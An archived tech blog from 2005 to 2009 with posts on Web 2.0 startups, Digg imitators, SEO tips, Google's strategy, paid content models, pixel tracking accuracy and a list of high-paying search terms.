Dot Tactics

Build your own Drudge Report using mostrecent.net

2009-03-22T07:11:00.000-07:00

So the Drudge Report isn't really cutting edge technology, but its simple three column design has endured many years now. It has even been imitated by the likes of Huffington Post and The Daily Beast.

Now you can create a similar news page on any topic by using mostrecent.net. Most Recent lets you create pages using a simple drag and drop interface and pages get hosted right on the site. You can even make money by using advertising if your page becomes popular.

Check out the video to see it in action.

My First Web 2.0 App: Joe's Goals

2006-06-10T17:21:00.000-07:00

Check out Joe's Goals. It is a little application I put together to help me better track my goals. It uses Spiffy Corners, FamFamFam icons, and Yahoo's Javascript library (all very cool stuff, thanks guys!). Let me know how you like it and if you run into any bugs.

Digg: the innovators, the imitators, and the rip-offs

2006-05-17T14:09:00.000-07:00

Will someone please put scooop out of their misery? This of-the-people-by-the-people mildew has been left to fester long enough, it’s not a party if no one shows up! They are almost as bad as TalkRadioDaily. Man, we need to get those guys some help. Where is the right wing demography? The clever banter? The allusions to Ted Kennedy’s excellent breast stroke? Politics is boring without a little fun mixed in.

I do have to give it up for NewsVine though. Nice job making your application more complex than the Space Shuttle! Its like being caught in a Star Trek turbolift and spending hours trying to figure out which snazzy button opens the blooming door! Oh, it’s the little X in the top right corner. My mistake.

If you are in to lighter fare (Lindsay Lohan Q&A, Britney’s Baby, etc) then there is Staralicious. With its bright blue background and cotton candy taste you have to ask yourself, “Do I feel like throwing up today?” Well, do you? Ahh kick it. Actually, please don’t. Whatever you don’t kick it! It’s like reddit without the intellectual-nazi-my-poo-don’t-stink-I-could-launch-a-starup-if-I-wanted-to mentality.

Listen, people! Please! Just because you can come up with a clever word (like, say, blink, or bump, or, heaven forbid, del.icio.us) don’t feel compelled to launch a service to show your cleverness. I don’t want to be forced to visit reallyslaphappy.com to Slap It! or cleanasacumber.com to Squeegee it! It’s bad enough having to Shout It! all the time. Just ask my coworkers, they really have tough time understanding why I suddenly shout things like “Bears Eat Monkey At Zoo!”

There are lots of niches out there. Xbox fanboys can delay their puberty yet a few more months thanks to xBoxKicks (enough with the kicks already!). Investors can get excellent summaries of mediocre information thanks to the efforts of diggstock (now there is a name that took a lot of thought). And for all you bloggers out there you can..well…blog I guess. If you want you could use blogreporter or wobblog, but then there is always normal behavior too. You know, things like finding a girl, getting married, having kids, taking bathroom breaks, etc.

If all else fails you can always digg. And then digg some more. And then undigg. And then complain about digg. And last but not least, use the handy digg “friends” feature. It is like a well architected handle. It isn’t quite a hammer; it isn’t quite a suitcase; but man how cool it would be if it was attached to something mildly innovative or useful. “Oh look! I can track what digg users are digging! Just like regular digg! Oh rapture!”

Anyway, that is the rounded up the chief pretenders. If you know of any other digg rip-offs please feel free to post them to the comments so that I may sleep peaceably at night knowing that a handful of nobodies are anxiously posting and voting for links to make the world a better place.

Google, Microsoft and Adobe - The battle for the new operating system

2006-05-17T10:11:00.000-07:00

Good read about the ongoing trend toward internet based software. The one thought I had was that it is likely that the big kingpin in online “software” really hasn’t shown up yet. Right now the geek community is all abuzz with Digg and Ajax, but ten years ago they were creating pages on geocities that are essentially the same as those currently being created by the public at large on MySpace. As soon as someone creates a couple of apps (beside search) that people will use every day and successfully market those apps to non-geeks I think we will see a dramatic shift to a new player. I don’t know what that might look like (maybe some kind of social life planner with bill pay, calendar, mail tools, notepad, goal management, etc) but if it is simple and slick enough to attract a more general audience then we could have the start windows/office type dynasty.

Nintendo down?

2006-04-27T18:25:00.000-07:00

Looks like Nintendo is having server problems. Big update coming? E3?

Does Ajax mean less revenue for Google?

2006-04-25T11:34:00.000-07:00

There is an interesting discussion going on around the web about how Google’s (and other Web 2.0 companies') streamlined approach to design and use of Ajax tools to decrease number of page views may actually be hurting their revenue growth. The basic idea being that having more page views means showing more ads which means making more money. Ajax means less page views (and quicker sessions) and so therefore is a bad thing (even if it helps you get bigger market share).

Here is an excerpt:

We've looked at ten different ideas for AJAX and we've decided to keep all the AJAX on the publisher side of the business and 'force' the users to deal with page reloads so we can make (or not lose) money.

I must say I disagree. Having fewer page reloads doesn't mean lost earnings.

As I see it, only advertising breaks down into two categories:

	Value	Exposure
Model	Show paid ads to a user who area already interested by virtue of their search	Show ads to a network of users in order to increase interest in product or service
Featured Networks	Google	MySpace
Featured Advertisers	E-Commerce, Lead Generation	Movie Launches, Brand-conciece
Featured Advertisers	E-Commerce, Lead Generation	Movie Launches, Brand-conscience
Real World Equivalent	Walmart	Clear Channel

The reason Yahoo, MSN, and Google continue to dump fistfuls of cash into search marketing and advertising networks is because the work. They convert and a very traceable price and the growth is almost unanticipatable. This won’t end the demand by advertisers to have billboards along the side of the road or banners hovering over profiles on MySpace, but value ads are a heck of a lot more valuable. Think about it, would you rather buy a visitor who thought the girl on your banner was sexy? Or wouldn’t you prefer to buy someone who just looked up your product in a search engine?

The only problem is that there are a limited number of people who are looking for what you have to sell at any given time. But there are a seemingly endless number of people chatting or trying to make friends on social networks who glance at the banner at from time to time.

All Marketers are Liars video

2006-03-18T10:40:00.000-08:00

Video of presentation by Seth Godin (website), author of All Marketers are Liars (among other things), given at the Google Complex. See the original video here.

Digg | Reddit

Tell a story
Seth makes a number of good points about online and product marketing and, indirectly, the nature of Web 2.0. The most significant thing you will walk away with is a better grasp of the “story” nature of effective online word of mouth campaigns. Virtually every successful Web 2.0 product has found success based almost exclusively upon the buzz they generated through blogs and places like del.icio.us. They did this by telling a story.

In fact, they weren't successful because they had the best layout or the best technology, they were successful because they were the first one in their niche to get their “story” right.

37 signals
One of the best examples of this is a little company by the name of 37signals, makers of Basecamp and Backpack (among others). The reality is that their products aren't particularly new or profound (just don't try and tell that to a 37siginals evangelist) but they were the first people in their particular niche to get the story right. People are sold on it. Now when they release a new product there are hundreds of bloggers and early adopters who rush to try it out, review it, and tell all their friends about it. You can't buy that kind of publicity.

Brand is meaningless
One of the interesting by-products of this new kind of story based marketing is that brand is relatively meaningless. A clear example of this can be seen each time one of the big three (Yahoo, Google, and MSN) introduce a new product. While it is easy for them to create some buzz and get a bunch of initial signups, they've had increasing difficultly converting enough power users to make it a success.

An example of this trend is when Yahoo launched MyWeb 2.0 to mixed results before turning around and buying del.icio.us. Google also launched Base which is, to date, a spam filled poor man's craigslist (and you thought craigslist was the poor man's craigslist). Why can't these big companies muscle in and take over these markets with all of their marketing dollars and dedicated programmers?

The simple reason is that early adopters and power users are much less interested in technology than they are in being a part of something unique or meaningful. A story is something that makes you feel a certain way when you use a product. You're using something cutting edge (even if you're not), you're fighting the man (even if the website is actively trying to get bought out by the man), you're part of an elite club of users who read the product's blog and enthusiastically share your (probably meaningless) opinion.

Character based advertising
After watching the video and doing some extensive reading on online startups, I'm really excited to start focusing on marketing based around persons or characters. A classic example of this is Jared Fogle, who become the face of Subway after losing over 200lbs in a year. Other great examples include Craig from craigslist, Sergey Brin and Lawrence E. Page from Google, Steve Jobs from Apple, and, of course, the Donald. On any level I think that getting power users to adopt early and sell your product to their friends will have a lot more to do with creating compelling story and personality than being first to market or even best in market.

Although, on the other hand, ask.com retired Jeeves because he clearly wasn't pulling his own weight. Now ask.com is a serious search and research platform for adults, not simply a cartoon character. At least, that is the story they tell.

URL naming and search engines

2006-03-13T10:57:00.000-08:00

"How important is it to have the product name or
description in the URL? Is it important, borderline,
or not important?" - Chris

The understanding I came away from the people at this
years Search Engine Strategies conference was that it
is really important to put information in the URL.
Google (at least) uses it as one of the factors in
determining page rank. I think it is more valuable if
your website domain contains the key term, but file
name is important too. Also, don't forget that people
can see the URLs. As I understand it, some folks did
some tests using google adwords where they showed ads
using just the normal domain name (zzz.com) and then
showed a url using the domain plus keyword
(zzz.com/keyword). The one with the keyword in the URL
had the better click rate.

Hope this helps!

21 Fastest SEO Tips

2006-03-05T21:44:00.000-08:00

digg | reddit

A lot continues to change in Search Engine Optimization. I just got back from SES New York and I learned a lot of great tools and tips that I wanted to share. To start, lets focus on the key important things you need to do (or not do) with your website. I mean to make this the most complete, shortest, and fastest reading set of tips ever!

Links = must. Every link is a vote. The link, the text within the anchor tag, the source URL, and the text near the anchor tag are all important to the where you show up in search results.
Short relevant TITLE = must. Don't put "news", "home page", or other such stuff in the title tag. Format: [document title] - [site title]
Dynamic URLs = bad. Max 1 or 2 status variables such as articleid=.
Session IDs = bad. Using session or timestamps make the search engine think every link has duplicate content.
Short URLs = must. The longer the URL the less important the link looks to crawlers. URLs should also contain keywords relevent to the title.
Natural growth of links = good/bad. Got a way to get 1000 links in a day? It could be really good or it could get you a spam flag. Just be careful.
Meta Tags = good. Only use keyword and description meta tags if they are different and relevant for every page. Max 5 keywords per page.
Text Navigation = must. The search engine can't click on your image maps or fill out your forms. Always use text as a backup. And don't use drop down navigation!
301 moved content = must. Redirect (301) old URLs to moved content to the new location, search engines will still count those old links.
301 your domains = must. Redirect (301) your http://domain.com traffic to http://www.domain.com traffic.
Javascript redirects = bad. Don't use Javascript redirects for your links. This often includes complex javascript navigation.Use href.
Internal links = good. Link related content and important content (root, site map) from within your site. This tells the engines about your site.
Text in graphics = bad. If you can copy and paste it into a text editor then search engines can't see it.
Keyword rich text = must. Be creative, describe things, learn to write good content, and use terms that people might search on.
Directories = must. yahoo, dmoz, wikipedia, botw - get in them!
Buying links = bad. Search Engines keep an eye on networks that sell links, and flag them (and the sites they link to) as spam.
Alt Text = good. Search engines see alt text. They don't all use it the same way but you should use it.
Site Map = good. Use a site map page to tell the search engines how to find all of your different content sections.
Doorway/Splash pages = bad. Your most important content should be at your root.
Flash = bad. Its nice as a movie, but flash websites are indexed by search engines. And no one is trying to find your site by searching for "Click here to skip."
Links to authorities = must. Links to authorities on your subject matter tell the engines what your page is about. (search site? link Search Engine Watch and Google)

Is this all there is? Certainly not. But it’s a good start. Stay tuned to the Blog and I'll post new tools and tricks as I find them. Oh, and feel free to post your own to the comments.

does pixel based tracking work?

2006-02-08T20:46:00.000-08:00

If you don't know already, pixel tracking refers to putting 1x1 sized IMG calls on other servers that record stats (such as hits or sales) to your web application. Lots of companies use them and I've been curious for a while how reliable they are and how often they “miss.”

Here is the experiment I've been conducting:

When a user hits a certain page three things happen:

The server adds 1 to a database count.
A Pixel calling the same domain name is loaded which, if called, adds 1 to its database count.
A Pixel calling a different domain name is loaded which, if called, adds 1 to its database count.

As you can see, if all is working then all three counts should match. They don't. Instead, with a little over 5000 visits counted, I've found that the same domain pixel is off by 11.54%. The different domain pixel is off by 5.6%. This is much worse than I expected.

I've attempted to do some research on the topic but haven't found much. Does anyone know what factors might cause pixels to not fire? Are there any good articles on the topic?

Thanks!

9 must reads before you launch a startup

2006-02-02T09:14:00.000-08:00

Who doesn't want to change their fortunes by launching a simple AJAX app or Million Dollar Homepage rip-off? It sounds so easy, so simple, so sexy.

Unfortunately the reality is that, for 99% of us, the prospect of owning our own empire means a lot of work, a lot of pain, and a lot of sweat. Still, it isn't unrewarding work and with a little bit of wisdom and a pinch of direction you too can have it all. So stop buying lottery tickets, take out your notebook, and learn from the pros as you read 9 of the most important articles on this topic from the last year.

digg this

1. Eric Schmidt and Hal Varian tells us about Google's Ten Golden Rules.

"One of our not-so-secret weapons is our ideas mailing list: a companywide suggestion box where people can post ideas ranging from parking procedures to the next killer app. The software allows for everyone to comment on and rate ideas, permitting the best ideas to percolate to the top."

2. Paul Graham weighs in with a guide to help you do what you love.

"How much are you supposed to like what you do? Unless you know that, you don't know when to stop searching. And if, like most people, you underestimate it, you'll tend to stop searching too early. You'll end up doing something chosen for you by your parents, or the desire to make money, or prestige-- or sheer inertia."

3. Guy Kawasaki tells you the top ten lies of Entrepreneurs.

"No 5. No one is doing what we're doing. - This is a bummer of a lie because there are only two logical conclusions. First, no one else is doing this because there is no market for it. Second, the entrepreneur is so clueless that he can't even use Google to figure out he has competition. Suffice it to say that the lack of a market and cluelessness is not conducive to securing an investment. As a rule of thumb, if you have a good idea, five companies are going the same thing. If you have a great idea, fifteen companies are doing the same thing."

4. Paul Graham tells you how to find statup funding.

"Angels are individual rich people. The word was first used for backers of Broadway plays, but now applies to individual investors generally. Angels who've made money in technology are preferable, for two reasons: they understand your situation, and they're a source of contacts and advice."

5. Evan Williams gives us Ten Rules for Web Startups.

"No. 6. Be Self Centered - Great products almost always come from someone scratching their own itch. Create something you want to exist in the world. Be a user of your own product. Hire people who are users of your product. Make it better based on your own desires."

6. New York Mag tells the story of a guy named Craig who lets you find everything from a girlfriend to your city without a newpaper.

"In the past few months, I and countless others in the mainstream media have awakened to the fact that something we thought was benign and even modestly beneficial, if we happened to have a room to rent or something to sell, was in fact a wild beast, loose in the orchards. Craigslist.org is changing everything."

7. Chris Anderson tells you that the New Boom really isn't a New Bubble.

"The second reason that this boom is so different from the last is that the sunk costs of the dotcom era make the economics of entrepreneurship more favorable. In the bad old days, companies bankrupted themselves building out their fiber-optic networks. Bad for investors, good for everyone else: We're now enjoying supercheap bandwidth. So, too, for storage, screens, and a host of other technologies that are benefiting from profligate '90s-era investment and research."

8. Paul Graham weights in with ideas for your startup.

"The fact is, most startups end up nothing like the initial idea. It would be closer to the truth to say the main value of your initial idea is that, in the process of discovering it's broken, you'll come up with your real idea."

9. Rob at Business Pundit explains why he quit entrepreneurship and got a real job.

"Entrepreneurship is difficult. No matter how smart you are, how well you plan, or how hard you work, there is still lots of luck and timing involved. If you ever consider making the jump, here are some things to think about."

What about you? What else have you found useful on your road to self-employment?

Update: posted an article to the creditreview blog with some helpfup ideas on how to grow your fortune.

worthy read on web 2.0

2006-01-17T14:38:00.000-08:00

Jeffrey Zeldman at A List Apart brings us a lot to think about. My fav line:

The second problem affects all who use an AJAX-powered site. If web signifiers and conventions are still in their infancy, then AJAX-related signifiers and conventions are in utero.

Yahoo's AJAX Ad Links

2006-01-17T14:26:00.000-08:00

So ThreadWatch has a post linking to a post on Search Engine Watch about Yahoo testing Sponsored Links that show a number of topics and then display the ads on click with no refresh. It is pretty cool and you can see an example by scrolling to the Bottom of this Narnia Movie page. Also Jensense has even more details of Yahoo's interactive ad tests.

google adsense and adwords blocked on yahoo search?

2006-01-17T11:21:00.000-08:00

So I often use a search engine to quickly look up a website rather than typing in the location. No problem, right? Well I recently took Yahoo up on their default search challenge and started using them in my FireFox search box. Funny thing is, when I did a quick search for Adsense a few days ago and clicked on the first natural result the page didn't come up.

I thought it odd at the time but over the past few days I've tried a few more times and I can't get Yahoo to redirect to Google's Adsense page. I've asked other people on other networks and they have the same problem. I've also found the same is true for Adwords searches. The problem only appears to impact Yahoo's redirection link as Google's servers are very clearly up .

What is going on? I tried a few other searches such as Maps and Talk and haven't had any problems. I also noticed that on the Adsense search Yahoo is showing a shortcut to their new Publisher Network product. Could it be that someone at Yahoo decided they don't want to provide free traffic to Google's competing advertising services and so they broke the redirection system? The end result is it makes it look like Google's servers are down.

Incidentally Google's Yahoo Search Marketing Ads on both of the searches do work when clicked. I'm sure Google is paying a pretty penny to get the top billing for those terms.

top 160 highest paying search terms

2006-01-16T21:50:00.000-08:00

From the CyberWyre. After looking these over I finally decided it was worth it to put together a credit information blog. It isn't much yet, but I hope to put up all the odd credit or invesment information I've been collect and hopefully generate a little interest. Check out Credit Review here.

So it sounds like these numbers are way off. Lots of good comments over on digg.

mesothelioma $84.08
mesothelioma attorneys $80.93
mesothelioma lawyers $69.04
malignant pleural mesothelioma $55.95
Asbestos Cancer $54.17
mesothelioma symptoms $53.66
peritoneal mesothelioma $52.27
trans union $51.91
lung cancer $43.12
search engine optimization $30.19
mesothelioma diagnosis $28.70
home equity loans $20.06
Baines and Ernst $18.47
consolidate loans $17.74
Lexington law $17.68
Lexington law firm $16.81
debt problems $16.28
register domain $15.74
home equity line of credit $15.61
affiliate programs $14.33
refinance $14.21
video conferencing $13.63
payday loans $13.21
credit counseling $13.02
asbestos $12.79
debt solutions $12.64
cash loans $12.13
refinancing $12.09
broadband phone $12.08
debt management $11.86
fast loans $11.81
credit card processing $11.75
credit reports $11.59
making money on the internet $11.58
merchant account $11.46
line of credit $11.42
money magazine $11.27
Adsense $11.13
credit counselors $11.02
identity theft $11.00
make money at home $10.84
free credit $10.76
cash advance $10.64
consumer credit counseling $10.63
freecreditreport $10.61
make money from home $10.35
free credit reports $10.26
make extra money $10.21
domain registration $10.19
adwords $10.08
citifinancial $10.06
my fico score $10.01
web hosting $09.88
American express credit $09.71
airlines credit card $09.52
credit report $09.52
earn money $09.51
hard drive recovery $09.49
hard money lenders $09.44
credit counseling service $09.44
consolidate $09.41
claims $09.20
debt consolidation $09.10
poor credit $09.09
low interest $08.89
web host $08.64
student credit cards $08.63
secured $08.60
merchant account application $08.59
loans $08.57
send money to India $08.43
discover credit $08.40
merchant accounts $08.39
hosting $08.35
money on the internet $08.34
credit loans $08.33
consumer credit $08.32
money making ideas $08.26
credit card applications $08.23
money lenders $08.10
discover credit card $08.09
money loans $08.08
dept help $08.01
credit card services $08.01
consolidation $07.94
ways to make money $07.84
student credit $07.73
online credit report $07.66
how to make money $07.51
accept credit $07.47
accept credit cards $07.43
student loan $07.43
internet money $07.39
credit repair $07.32
free credit check $07.28
bad credit $07.26
money making $07.21
SEO $07.18
University Degrees Online $07.16
credit card application $07.05
consolidating $07.05
people with bad credit $07.05
car loans $07.05
money fast $07.03
money now $06.88
household automotive $06.76
personal credit $06.73
money at home $06.72
bad debt $06.69
lenders $06.68
auto loans $06.63
making money online $06.61
Point of sale software $06.55
interest credit cards $06.53
credit history $06.53
lending $06.39
business credit $06.32
money to India $06.31
debt $06.17
online credit $06.15
student credit card $06.14
hard money $06.10
webhosting $06.06
credit cards $06.04
make money $05.97
credit application $05.96
online credit card $05.96
chase credit $05.90
interest credit $05.89
Equifax credit $05.89
video conference $05.88
credit card offers $05.88
American credit $05.86
credit card fraud $05.82
best credit card $05.82
no credit check $05.79
credit card $05.75
bankruptcy $05.64
best credit $05.59
money market account $05.55
mbna credit $05.54
for credit $05.48
webhost $05.48
pengar $05.47
college credit $05.44
money market accounts $05.43
best credit cards $05.40
credit reporting agency $05.39
credit card debt $05.36
credit checks $05.36
visa credit $05.36
credit check $05.29
secured credit cards $05.26
one credit card $05.25
Credit report $05.24
i need money $05.16
low interest credit $05.15
credit services $05.08
credit reporting $05.06
preapproved $05.04
online approval $05.04
credit card rates $05.02
credit score $05.00

google: i'm feeling lackluster

2006-01-11T08:36:00.000-08:00

A while back I published an article asking if google had jumped the shark. While no one is throwing them overboard quite yet, a post to threadwatch points out how much Google has been struggling to launch features that show off that old Google sparkle. From base, to Google Pack, to (more notably) the "we sell videos too" Google Video Store, has Google lost their magic amulet?

From ZDNet Google Video Review:

The Web site adheres to the Google philosophy of less-is-more but lacks any slick design elements that would signal the existence of sexy content such as, say, movies. And, rather than still images from videos to click on for a sample clip, many thumbnail images and preview boxes feature only plain screens with the name of the show--or a blank black box.

From PC Mag Is Google's Tech Heading Downhill? article:

With each one of the negative reviews, many surfacing on Tuesday, is the notion that Google Video isn't just a one-time miss. Rather, critics say, it's one of a growing number of recent failures suggesting that Google's usual Midas Touch is missing in action, and that should worry Google as well as its investors and those who rely on its products at home or work.

Naturally, not everyone agrees. Bill writes in with a well thought out response to my jump shark article explaining why I'm full of it. Here is an excerpt:

In one sentence you say Google is monopolizing and competing against everyone. Which is it? If they are monopolizing then there really isn't any competition. So what industry do they monopolize? And if they are competing then to suggest they are dead in the water is patently false as well. They are a business, a fairly young and suprisingly successful business. Their job is to expand market share and make money for their stockholders.

In the end I suspect that Google's problem is that they are a real company now and so they have to compete with what other real companies are doing and they have to figure out how to hold customers and create income. The problem is that, as Microsoft has repeatedly shown, this position doesn't facilitate innovation. Google is still one of the brightest companies around, but they're starting to loose their feeling lucky goodwill from the Internet community at large. This has resulted in a slowly growing amount of the scoffing media attention that Microsoft and News Corp have enjoyed for years. And with cool new 1998 products like a Google eBook Store on the horizon, it is about time.

fresh ideas: eight very original blogs

2006-01-09T20:43:00.000-08:00

innovative - being or producing something like nothing done or experienced or created before; "stylistically innovative works"; "innovative members of the artistic community"; "a mind so innovational, so original" (TheFreeDictionary)

Over the past few months I've stumbled upon a number of blogs that have stuck out to me with their originality. Their subject matter ranges pretty widely, but they all show the power of a good idea, a slightly quirky approach, and a dedicated author. I hope you can draw as much inspiration from them as I do.

Cooking For Engineers
Food, geeks, tools, what else is there? Simple idea that works like the SlashDot of cooking blogs.
Stuff On My Cat
More fun than a bunch of stuff on your cat. Wait, it is a bunch of stuff on your cat. A very simple idea on the surface that has been able to build a profoundly faithful following among a special breed cat lovers.
News Hounds
Pretty simple. Hatred for Fox News packaged into a daily blog of all the things evil about Fox News.
Overheard in the Office
Office humor blog. Users send in the odd things they overhear co-workers saying (or say themselves, or wish they'd said, or whatever). Very amusing.
Blog Contest Site
Stay up to date with contests around the Internet by watching this site. Who doesn't love contests?
College-Startup
Should you start a business while going to college? This sites thinks so and has the daily posts to prove it.
Prank A Day
Who doesn't want to pull a new prank every day? Pranks are mostly simple and useually legal and clean, even if they may be somewhat inadvisable.
Civilian Gun Self-Defense Blog
So guns are used in self defense all the time, but who pays attention? This blog does, and keeps a record to.

So what do all these blogs have in common? They take a smart, subject oriented approach to their content. There are thousands of "my daily life" and "today's google rumor"blogs out there, but blogs that effectively focus on one subject area and provide lots of relevant content to their readers are exceptionally rare. These blogs show that all it takes is a good idea that resonates with the public and a little bit of effort to become that de facto source for anything from pranks to pictures of stuff on cats.

charging for online content

2005-12-29T10:58:00.000-08:00

Teleporting Tattler has a great post about the gold mine of online content. More specifically it talks about the money that can be generated by charging for online content. As near as I can tell there are several basic tactics used by websites to charge for content without completely undermining the flow of fresh visitors from search, blogs, and word of mouth. The hope is to be able to generate a reliable stream of revenue without forcing everyone to pay up or sign up. I've broken these up into different models using a theme site as an example.

The Red Vs Blue "Sponsorship" model
Charge for early access to premium content. Public access is granted a week or so later for all users.

Advantage: Allows the Rooster Teeth team to raise money while still doing what they do best: making really funny videos available for free download.
Price: $10 for the season
Red Vs Blue - Sponsorship FAQ

The Total Fark "Club" model
Charge for access to an elite and completely closed community where all users can post headlines and comment on discussions. Total Fark users also get a an identifying icon next to their names and are able to post to Fark discussions before they are available to the general public.

Advantage: Allows power Fark users to have a special premium community where they can get to know each other, ask questions, generate discussion, and be secure from the general surfing public that constantly storm the main Fark web page. Also helps cover the high hosting costs Fark undoubtedly incurs.
Price: $5 per month
Fark - Pricing Details

The South Beach Diet model
According to the Tattler article, over 350,000 users have signed up for the South Beach Diet's website. This gives dieters access to meal planning tools, a recipe database, and private discussions areas all centered around the famed weight loss program. The real neat part about it all is that the website fully capitalizes on the brand recognition to try and convert visitors into South Beach Diet Online users. They aren't pushing the books so much as the online experience.

Advantage: Gives dieters a host of tools and resources while also adding continuity and support to the diet plan. The online subscriptions should help to keep users on track and keep the South Beach Diet from dieing off as just another fad.
Price: $5 per week, $65 a quarter
South Beach Diet Online - Pricing Details

The New York Times "Select" model
Select users get access to all the content of normal visitors with the addition of early access to select content as well as access to additional op-ed articles, news alerts, and access to International Herald Tribune articles. In addition, Select subscribers all get access (limited to 100 article a month) to the New York times archive going back to 1981.

Advantage: Lots of premium features from one of the world's most read and most influential newspapers. It is an experiment to see if Newspaper type coverage can effectively move its paying subscription revenue online without sacrificing your average Google searcher or casual reader.
Price: $49.95 a year
New York Times - Program Details

The eBay model
All content is publicly available, but if you want to list content you have to share part of the closing auction price with eBay. In addition you have to pay a small listing fee and can purchase additional premium features to help get your item more exposure. The model is entirely seller oriented with buyers largely unaware of the costs associated with a transaction.

Advantage: While the reality is that the buyer always pays the costs, the model helps simplify this system while granting access for sellers to millions of potential customers.
Price: Varies
eBay - Fee Details

The Meet Me at Hot or Not model
All users can quickly post photos, comments, and keywords. All users can also browse listings and click on the listings that they are most interested in. If Dave says he'd like to meet Jennifer, his photo them is weighted to come up in Jennifer's queue. If she says she'd like to meet Dave them a match is made. The premium feature comes into play when users want to talk to each other. Only paying members can send and receive messages. You can search the profiles looking for a paying member to chat with or you can subscribe and be able to chat with all members.

Advantage: A very cool site with a very simple to use interface that is handicapped for anyone who doesn't have subscriber "super powers." If you really use the site it creates a real value for the subscriber and it helps fund the whole hot or not enterprise.
Price: $6 a month
Meet Me at Hot or Not - Hot or Not - FAQ

There are probably other models out there (iTunes anyone?) but these are the handful that have stuck out to me. I believe charging for content is a very tricky issue even if the content is of high value, but it can be done. A growing number of websites, and even some blogs, are experimenting with ways to earn more money from their content and yet still have an appeal for the extremely fickle Internet public. It will be interesting to see how this plays out, but one thing is certain: the more websites try and shut their doors to non-paying users the more competitors will pop up trying to find a viable model to give their content away for free.

Feedback: What do you think? What are your experiences both as a “webmaster” or as a Internet subscriber? I’m very curious what models work the best and under which circumstances.

Additional reading:

Online Content Business Models
Please Newspapers, charge for online content!
The Long Tail Will Rise If The Media Charge For Online Content
Education Week General Manager: How We Came to Charge for Premium Content
Some online content is worth paying for
CNN To Cease Charging For Online Video
TV, newspapers see big changes

find a domain: awsome list of resources

2005-12-23T08:40:00.000-08:00

Need to find/invent a good domain name? I've been looking around a little of late and found a number of very helpful (and totally free) resources to check out. Post any additional resources you know of.

Three-Letter Word List
Domain Fellow - useful domain recommendations with availability
NameWidget - uses AJAX to show your available domains as fast as you can type
JustDropped - find domain names that have just expired
DomainBot - another nice domain suggest tool
DomainHack - use this tool to find domains like del.icio.us using foreign extensions
NameBoy - takes two words and creates a big list of domain ideas with availability.
Dislexicon - start with a root word to find new words
WordMixer - enter up to 5 root words and let the crazy suggestions begin

new link: search engine journal

2005-12-22T22:07:00.000-08:00

Added a new link to the sidebar. Search Engine Journal provides some really good daily coverage of the search engine marketing space. I've been watching it for a few weeks now with keen interest. Good work Loren!

google jumps the shark

2005-12-22T14:18:00.000-08:00

For those of you who don't know, this Wikipedia listing explains that the phrase "jump the shark" refers to the episode, scene, or plot change that marks the rapid decline of a television series. It is based around a scene in Happy Days where a lead character "jumps" a shark on a jet sky, marking the very moment when most viewers began to turn the show off as unending and unbelievable.

To say that Google has jumped the shark may be a bit premature, but their recent dealings with AOL mark a noticeable change in direction for a company that was once both fresh and innovative. They new appear to be placing much more of their focus on maintaining market share rather than providing better products. This deficit of innovation could easily result in their rapid demise given the cut throat nature of the Internet. Bold statement? We'll see.

"But, what about Google Maps?" some would ask.

Google Maps (Local as it is now called) really opened a lot of people's eyes to the power of AJAX and what can be done on the Internet with a powerful back end a light front end. That said, there is only so far you can go with maps and at this point Google Maps has started to blend into the background noise of newer map offerings from the likes of Yahoo and MSN. You really don't need to use Google Maps if you don't want to. Additionally both A9 and Windows Live (of all companies) are pushing the innovations bounds in a way that Google really isn't. Google Local still does a good job, but only a good job.

"But, what about GMail?"

What about it? Email has been around for a while. Sure it is nice, but so is Yahoo's upcoming AJAX based mail system. While Google has shown its ability to create a very light and useful interface, almost every major competitor has been following suit. The simple fact is that, for the average user, changing email addresses is a far bigger deal than seeing your entire email discussion on one page. Gmail, and not to mentioned Google's personalized home page and Talk products, are great examples of where Google is coping market leaders, not innovating upon them.

Need proof? Consider that they are just now offering a way to collect contacts into groups. Very cutting edge '95 stuff.

"But, what about Search?"

Let me ask you a serious question, could your survive today without Google Search? Well? When Google came out it had such a radically different product that worked so much better that they were able to create an audience for themselves and get many of their now competitors (like AOL and Yahoo) to sign up, even without Adwords being in place. Now Google has to pay people to use their search product. More importantly: both MSN and Yahoo have introduced products that are very nearly as effective (even if they return different results) as Google's Web Search. The Search Engine Optimization crowd is also doing its best to kill Google with one out of every two searches I do resulting in meaningless spam for the first 10 results. Yahoo also has a better image search and Technorati a better (if slower) blog search.

To be blunt, Google's search platform is dead in the water.

"But, what about all the cool features like Weather and UPS code lookup?"

This swings back to Google's other ongoing problem. With every product or feature they add their search results page (already diluted with who knows how many ads) becomes more and more confusing. Their never ending self promotion (Google Toolbar ad on the bottom of every page?) is also getting to the point of being an embarrassment. Each time they make a change to their search results page they open the door a little wider for some young Google-want-to-be to come along and introduce a better web search product while keeping the team in Mountain View from being able to do anything about it.

"But, Google's motto is do no evil!"

Really? What do they do with the terabytes of information they collect from Google Toolbar users? What about the Search information they log? What about reading your GMail to show you relevant ads? What about using Google Analytics in an attempt to get every webmaster to attach Google tracking scripts to their websites in exchange for fancy reporting? Read more here. What about the the ongoing rumors that suggest Google is offering SEO advice to the bigger advertising firms while letting the little guy fend for himself? More significantly, what about Google's new strategy of monopolizing markets and becoming competitors with almost everyone under the sun?

Sounds to me like tactics closer to to the heart of Redmond, WA than Utopia, USA.

Google: unstoppable or on the verge of decline?

Google has a whole lot of things working for them. More so than any of their competitors. They have a reputation for rolling out useful, stable, and unbelievably cool products. They have very good mind share and strong relationships with websites and advertisers. Despite their size they still "feel" like a small company on the surface. From a consumer standpoint Google can do no wrong. So what is the problem?

Well Google has a lot of cash on hand and a severely over inflated stock price (they don't deserve $400 a share when Yahoo provides a comparable search product that most users could switch to without a hitch). This means that anyone Google does business with is more likely to be interested in a fat check than an innovative feature or better mouse trap. This doesn't mean they still can't be Walmart, but it cuts into their ability to be Apple. The simple fact is that their tactics of late are clouding the young, hip, do-no-evil image they've worked so carefully to create.

It would take an awful lot to dethrone Google, but it is certainly doable. It was done to Sony (iPOD), Atari (Nintendo), and IBM (Microsoft, PCs) back in the day. Why not Google? The real question is how. What do you think it would take to take Google down? Please post your comments.

....

P.S. It is also possible that Google isn't about to fail but instead is just starting to “grow the beard” (2 points if you can figure that reference out).

UPDATE: Looks like Google is reacting. Read their post about the AOL deal and why it isn't a bad deal here.

free icons

2005-12-15T16:16:00.000-08:00

This site offers a ton of free icons. Well worth a look for all you webmasters out there.

resize photos with javascript

2005-12-09T09:25:00.000-08:00

Cool little script to let you resize photos the way iPhoto does. Good stuff, not sure what to use it for though.

what does a slashdot look like?

2005-12-08T21:56:00.000-08:00

